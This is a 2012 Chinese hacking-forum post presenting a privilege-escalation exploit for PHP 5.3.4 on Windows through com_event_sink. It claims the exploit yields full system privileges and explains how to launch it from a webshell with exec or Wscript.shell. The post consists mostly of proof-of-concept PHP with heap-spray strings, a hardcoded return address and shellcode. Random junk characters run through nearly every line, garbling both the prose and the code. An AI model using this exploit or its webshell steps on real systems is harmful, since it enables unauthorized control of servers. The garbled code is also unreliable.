找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2237|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
+ D+ J  }/ x& X+ ?) [$ v7 I8 `- u# i1 D3 @
测试方法如下:cmd /c x:\php\php.exe x:\test.php5 m+ d3 q6 v5 N6 c0 T% V

# W% w# C4 O9 Z$ q下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php( I! ]9 z/ p4 J" s5 U" c
这里是两个测试的截图:6 a$ p$ A6 l' [- U

% @# e% ?  \  V1 N# p
3 F5 x5 `  z) A; k% z  b) C2 g8 H+ t1 [% `: C

, s; F9 `. {2 U0 y0 |; P# ~& i  f: A
) g. @; \8 e9 C. O2 L成功利用此漏洞的攻击者将获得系统的最高权限! e% V4 n+ R4 m& p0 F, }# J

/ S% T3 \% Y" N: w& C+ r; p8 h% Q2 _6 ]  R" d. K; D
' ~4 @% b6 h9 h
2 o+ [  X# V- v, W7 c" e0 C! [
( d# ~# B, u1 l' O' U: O% z% E
关于漏洞分析稍后附上。一下是PoC代码:
0 q5 G/ t' O3 w- K" @. N; J2 i, k- x5 W( r! K0 s
<?php
7 X; B* w2 S+ O9 W: P% `: K- R' D//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
' i% v9 z$ k* p3 l//$eip ="\x44\x43\x42\x41";
2 Y6 ?4 Y  i7 U$ @4 u% I; j3 @' O$eip= "\x4b\xe8\x57\x78";
0 N  q3 |( @# B( r$eax ="\x80\x01\x8d\x04";
# ~& S5 |  ~6 G0 y- \" |7 D9 O) @6 C$deodrant="";
# v5 x4 R+ ]9 j% c$axespray = str_repeat($eip.$eax,0x80);3 L7 S& V7 T0 V4 D" A, k" J/ {
//048d0190
2 G" S, w+ D( U1 \1 U9 j( Decho strlen($axespray);) l6 d  O0 j2 X3 |
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
; a' A5 ~- Q5 [; b# v# |. S, |- Oecho "Silic Group Hacker Army - BlackBap.Org";$ ?* R0 j& X! `: j* V' v+ b
//19200 ==4B32 4b00
9 v. j# ~! K- c5 Q# Zfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}. }: i" `1 V+ b/ _# z9 L% i; Y2 v
$terminate = "T";
3 b* y5 h3 S* p5 B" i3 o6 \5 U5 ]$u[] =$deodrant;
1 ?# s  N4 A% b8 H# {$r[] =$deodrant.$terminate;
* m  e2 Z% X% q/ K+ g$a[] =$deodrant.$terminate;8 j# |( ~* h& l  _9 `0 j0 d' M
$s[] =$deodrant.$terminate;; c4 p( U; j# |
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
& A4 y) j1 ~* d& v$vVar = new VARIANT(0x048d0000+180);) p+ J: Y' l/ I, h3 \/ v
//弹窗代码(Shellcode), K4 R, W% {" A2 ]# T4 K, Y# q; Y& G
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";0 a0 O" O1 @8 k  q/ k5 O; d9 j
$var2 = new VARIANT(0x41414242);- W9 v3 d" }6 P
com_event_sink($vVar,$var2,$buffer);/ K: x7 \3 Q' l. x" ]& H1 g
?>9 A/ F% i9 }7 V. E8 r

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表